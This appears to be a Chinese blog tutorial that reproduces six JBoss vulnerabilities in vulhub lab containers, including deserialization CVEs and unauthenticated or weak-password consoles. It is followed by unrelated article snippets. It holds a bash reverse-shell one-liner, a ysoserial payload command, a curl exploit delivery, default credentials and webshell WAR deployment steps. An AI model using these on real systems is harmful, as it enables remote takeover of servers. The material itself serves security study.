常见中间件漏洞(三、Jboss合集)

目录

三、Jboss

Jboss介绍

3.1 CVE-2015-7501

漏洞介绍

影响范围

环境搭建

漏洞复现

3.2 CVE-2017-7504

漏洞介绍

影响范围

环境搭建

漏洞复现

3.3 CVE-2017-12149

漏洞简述

漏洞范围

漏洞复现

3.4 Administration Console弱囗令

漏洞描述

影响版本

环境搭建

密码文件

漏洞复现

3.5 低版本JMX Console未授权

漏洞描述

影响范围

环境搭建

漏洞复现

3.6 高版本JMX Console未授权

漏洞描述

影响版本

环境搭建

漏洞复现


三、Jboss

Jboss介绍

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发这使得JBoss广为流行。

3.1 CVE-2015-7501

Jboss JMXInvokerServlet 反序列化漏洞

漏洞介绍

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0 CP10

JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform(SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBOSS BRMS (BRMS) 6.1.0

JBOSS BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server(EWS) 2.1,3.0

环境搭建
cd vulhub/jboss/JMXInvokerServlet-deserializationdocker-compose up -d

漏洞复现

1.POC,访问地址

http://47.99.98.0:8080/invoker/JMXInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞

2.下载 ysoserial 工具进行漏洞利用

https://github.com/frohoff/ysoserial

将反弹shell进行base64编码

bash -i >& /dev/tcp/47.99.98.0/7777 0>&1

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS45OC4wLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser

3.服务器设置监听得端⼝

nc -lvvp 7777

4.执行命令

curl http://47.99.98.0:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

5.反弹成功

3.2 CVE-2017-7504

JBossMQ JMS 反序列化漏洞

漏洞介绍

JBoSS AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行

影响范围

JBoss 4.x 以及之前的所有版本

环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d

漏洞复现

1.访问漏洞地址

http://47.99.98.0:8602/jbossmq-httpil/HTTPServerILServlet

​python jexboss.py -u http://47.99.98.0:8602/

3.3 CVE-2017-12149

JBoss 5.x/6.x反序列化漏洞

漏洞简述

该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

漏洞范围

JBoss 5.x/6.x

cd vulhub/jboss/CVE-2017-12149

docker-compose up -d

漏洞复现

1.访问漏洞页面,看jboss版本

http://47.99.98.0:8603/

2.验证是否存在漏洞,访问

http://47.99.98.0:8603/invoker/readonly

该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化

返回500,说明页面存在,此页面存在反序列化漏洞

3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:工具:

https://github.com/yunxu1/jboss-_CVE-2017-12149

3.4 Administration Console弱囗令

漏洞描述

Administration Console管理页面存在弱口令,`admin:admin`.登陆后台上传war包,getshell

影响版本

全版本

环境搭建

因为这里用的环境是CVE-2017-12149的靶机

cd vulhub/jboss/CVE-2017-12149

docker-compose up -d

密码文件
/iboss-6.1.0.Final/server/default/conf/props/imx-console-users.properties

账户密码:admin:vulhub

漏洞复现
http://47.99.98.0:8603/admin-console/login.seam?conversationld=4

1.登录后台,点击web应用

admin vulhub

2.上传后门shell.war

3.连接WebShell

http://47.99.98.0:8603/test/1.jsp

3.5 低版本JMX Console未授权

低版本JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/imx-console/HtmIAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。

影响范围

Jboss4.x以下

环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d

漏洞复现

1.访问

http://47.99.98.0:8602/jmx-console/

2.这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进入)

admin admin

3.然后找到jboss.deployment (jboss 自带得部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过URL的方式远程部署)

4.找到页面中的void addURL()选项远程加载war包来部署

 

5.制作war包,这里用之前制作好的test.war,填写war包远程地址

http://47.99.98.0/test.war

6.然后跳转以下页面

7.webshell连接

http://47.99.98.0:8602/test/1.jsp

pass

3.6 高版本JMX Console未授权

漏洞描述

JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面,通过部署war包,getshell

影响版本

Jboss6.x以下

环境搭建
cd vulhub/jboss/CVE-2017-12149docker-compose up -d

漏洞复现
http://47.99.98.0:8603/jmx-console

因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub

1.本地搭建部署点

在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下

2.进入service=MainDeployer页面之后,找到methodindex为17或19的deploy 填写远程war包地址进行远程部署

3.搭建远程部署,部署远程war包地址

4.然后输入lnvoke

http://47.99.98.0/test.war

点击Invoke

5.连接Webshel

http://47.99.98.0:8603/test/1.jsp

pass

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393162.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【多线程-从零开始-伍】volatile关键字和内存可见性问题

volatile 关键字 import java.util.Scanner; public class Demo2 { private static int n 0; public static void main(String[] args) { Thread t1 new Thread(() -> { while(n 0){ //啥都不写 } System.out.println("t1 线程结束循环"); }, "…

C++类和对象——中

1. 类的默认成员函数 默认成员函数就是⽤⼾没有显式实现,编译器会⾃动⽣成的成员函数称为默认成员函数。⼀个类,我们不写的情况下编译器会默认⽣成以下6个默认成员函数,需要注意的是这6个中最重要的是前4个,最后两个取地址重载不…

差分专题的练习

神经&#xff0c;树状数组做多了一开始还想着用树状数组来查询差分数组&#xff0c;但是我们要进行所有元素的查询&#xff0c;直接过一遍就好啦 class Solution { public:int numberOfPoints(vector<vector<int>>& nums) {vector<int> c(105, 0);for (i…

Leetcode—233. 数字 1 的个数【困难】

2024每日刷题&#xff08;152&#xff09; Leetcode—233. 数字 1 的个数 算法思想 参考自k神 实现代码 class Solution { public:int countDigitOne(int n) {long digit 1;long high n / 10;long low 0;long cur n % 10;long ans 0;while(high ! 0 || cur ! 0) {if(cu…

多线程用不用ArrayList?

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 引言 多线程使用是指在单个程序中同时运行多个线程来完成不同的工作。 多线程是计算机领域的一个重要概念&#xff0c;它允许一个程序中的多个代码片段&#xff08;称为线程&#xff09;同时运行&#xff0…

Cache结构

Cache cache的一般设计 超标量处理器每周期需要从Cache中同时读取多条指令&#xff0c;同时每周期也可能有多条load/store指令会访问Cache&#xff0c;因此需要多端口的Cache L1 Cache&#xff1a;最靠近处理器&#xff0c;是流水线的一部分&#xff0c;包含两个物理存在 指…

鲜花销售小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;商家管理&#xff0c;鲜花信息管理&#xff0c;鲜花分类管理&#xff0c;管理员管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;购物车&#xff0…

Linux 操作系统速通

一、安装虚拟机 1. VmWare 安装下载 vmware workstation pro 16 下载 win R 输入 ncpa.cpl 确保网卡正常 2. CentOS 系统下载 CentOS 系统下载 将 CentOS 系统安装到虚拟机 3. 查看虚拟机 IP 命令 ifconfig 4. finalShell 安装下载 finalShell 下载 输入用户名一般是 ro…

Html实现全国省市区三级联动

目录 前言 1.全国省市区的Json数据 2.找到Json数据文件(在此博文绑定资源)之后&#xff0c;放到resource目录下。 3.通过类加载器加载资源文件&#xff0c;读取Json文件 3.1 创建JsonLoader类 3.2 注入JsonLoader实体&#xff0c;解析Json文件 4.构建前端Html页面 5.通过…

如何在国外市场推广中国游戏

在国外市场推广中国游戏需要一种考虑文化差异、市场偏好和有效营销渠道的战略方法。以下是成功向国际观众介绍和推广中国游戏的关键步骤和策略&#xff1a; 进行市场调研 了解目标市场&#xff1a;首先确定哪些外国市场对你的游戏最具潜力。考虑类似游戏类型的受欢迎程度、玩…

通过数组中元素或者key将数组拆分归类成新的二维数组

处理前的数组: 处理后的数组: 你希望根据 riqi 字段将这个数组拆分成多个二维数组,每个二维数组包含相同日期的项。在ThinkPHP中,你可以使用PHP的数组操作来实现这一拆分操作。以下是如何按照 riqi 字段拆分成新的二维数组的示例代码: $splitArrays = [];foreach ($list…

YOLOv6训练自己的数据集

文章目录 前言一、YOLOv6简介二、环境搭建三、构建数据集四、修改配置文件①数据集文件配置②权重下载③模型文件配置 五、模型训练和测试模型训练模型测试 总结 前言 提示&#xff1a;本文是YOLOv6训练自己数据集的记录教程&#xff0c;需要大家在本地已配置好CUDA,cuDNN等环…

opencascade TopoDS、TopoDS_Vertex、TopoDS_Edge、TopoDS_Wire、源码学习

前言 opencascade TopoDS转TopoDS_Vertex opencascade TopoDS转TopoDS_Edge opencascade TopoDS转TopoDS_Wire opencascade TopoDS转TopoDS_Face opencascade TopoDS转TopoDS_Shell opencascade TopoDS转TopoDS_Solid opencascade TopoDS转TopoDS_Compound 提供方法将 TopoDS_…

Spring快速学习

目录 IOC控制反转 引言 IOC案例 Bean的作用范围 Bean的实例化 bean生命周期 DI 依赖注入 setter注入 构造器注入 自动装配 自动装配的方式 注意事项; 集合注入 核心容器 容器的创建方式 Bean的三种获取方式 Bean和依赖注入相关总结 IOC/DI注解开发 注解开发…

抽象代数精解【8】

文章目录 希尔密码矩阵矩阵基本概念行列式基本概念特殊矩阵关于乘法运算构成群 加解密原理密钥加密函数解密函数 Z 26 上的运算&#xff08; Z 256 与此类似&#xff09; Z_{26}上的运算&#xff08;Z_{256}与此类似&#xff09; Z26​上的运算&#xff08;Z256​与此类似&…

sql注入知识整理

sql注入知识整理 一、SQL注入概念 SQL注入就是用户输入的一些语句没有被过滤&#xff0c;输入后诸如这得到了数据库的信息SQL 注入是一种攻击方式&#xff0c;在这种攻击方式中&#xff0c;在字符串中插入恶意代码&#xff0c;然后将该字符串传递到 SQL Server 数据库引擎的实…

递归.python

目录 一、认识递归 二、阶乘问题 三、经典例题&#xff1a;汉诺塔问题 一、认识递归 递归&#xff1a;即方法&#xff08;函数&#xff09;自己调用自己的一种特殊编程写法。 函数调用自己&#xff0c;即称之为递归调用。 def func(): If ....: func() return ..... 递归…

ESP8266使用舵机以及16路PWM舵机PCA 9685的使用方式

PWM全称 50Hz也就是一秒内变换50次 根据上面的公式 一个高电平一个低电平叫一个脉冲。 例如每个脉冲占20毫秒&#xff0c;那么他的频率是多少&#xff1f; 就是用1去除以他的周期&#xff0c;也就是我们上面说的20&#xff0c;那么就是除0.02,1秒等于1000毫秒&#xff0c;20…

PostgreSQL11 | 触发器

本文章代码已在pgsql11.22版本上运行且通过&#xff0c;展示页由pgAdmin8.4版本提供 上一篇总结了原著的第十章有关pgsql的视图的用法&#xff0c;本篇将总结pgsql的触发器的用法。 触发器 使用触发器可以自动化完成一些在插入数据或修改数据时&#xff0c;某些需要同期同步的…

bat批处理文件 —— 用于自动化环境配置和项目执行

文章目录 一、什么是 bat &#xff1f;1.1、支持 bat 的编辑软件1.2、常用命令 三、项目实战3.1、入门案例3.2、&#xff08;自动化&#xff09;环境配置与python库安装3.3、将 bat 当成一个简易的 .exe 可执行文件 四、标识符详解4.1、rem&#xff1a;添加注释4.2、echo off&a…